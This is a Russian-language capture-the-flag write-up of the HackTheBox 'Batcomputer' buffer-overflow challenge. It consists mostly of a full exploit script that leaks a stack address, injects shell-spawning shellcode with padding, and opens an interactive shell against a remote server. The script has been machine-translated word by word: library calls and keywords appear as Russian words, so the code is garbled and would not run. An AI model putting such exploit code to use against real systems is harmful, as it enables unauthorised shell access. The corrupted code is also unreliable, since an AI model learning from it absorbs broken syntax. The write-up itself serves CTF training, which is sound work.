Мы рассмотрели сценарий переполнения буфера, когда переменная была объявлена как целое число без знака, а затем преобразована в функцию ulong. Это позволило нам отправить «-1» в качестве входных данных для этой переменной, которая перенаправила поток выполнения программы в оператор if, содержащий фрагмент, в котором переменная имени длиной 96 байт принимает неограниченный ввод от пользователя, что привело к ошибке сегментации. Мы рассчитали смещение, используя pwndbg с Python, и создали финальный эксплойт. Это было частью HackTheBox Bat Компьютер | Введение в бинарную эксплуатацию

Примечания к методам переполнения буфера

Код эксплойта ниже

##Начало

от болван Импортировать *

контекст.двоичный = ЭЛЬФ('./batcomputer')

минус = удаленный(‘157.245.39.76’,31662)

против.линия отправки(‘1’)

против.возвращаться до тех пор, пока('0x')

stack_base = интервал((«0x»+против.получение().декодировать('латиница-1').расколоть()[0]),16)

бревно.успех(ж'база стека: {шестигранник(stack_base)})

против.линия отправки(‘2’)

против.линия отправки('b4tp@$$w0rd!')

полезная нагрузка = как м(артиллерийское искусство.попадание() + артиллерийское искусство.ш()) Шеллкод #

полезная нагрузка += б'А'*(84 Лен(полезная нагрузка)) # нет

полезная нагрузка += стр.64(stack_base) Основание стека #

против.линия отправки(полезная нагрузка)

против.линия отправки(‘3’)

против.интерактивный()

##Конец

Видео прохождение

об авторе

Инструктор по кибербезопасности и пловец

Посмотреть статьи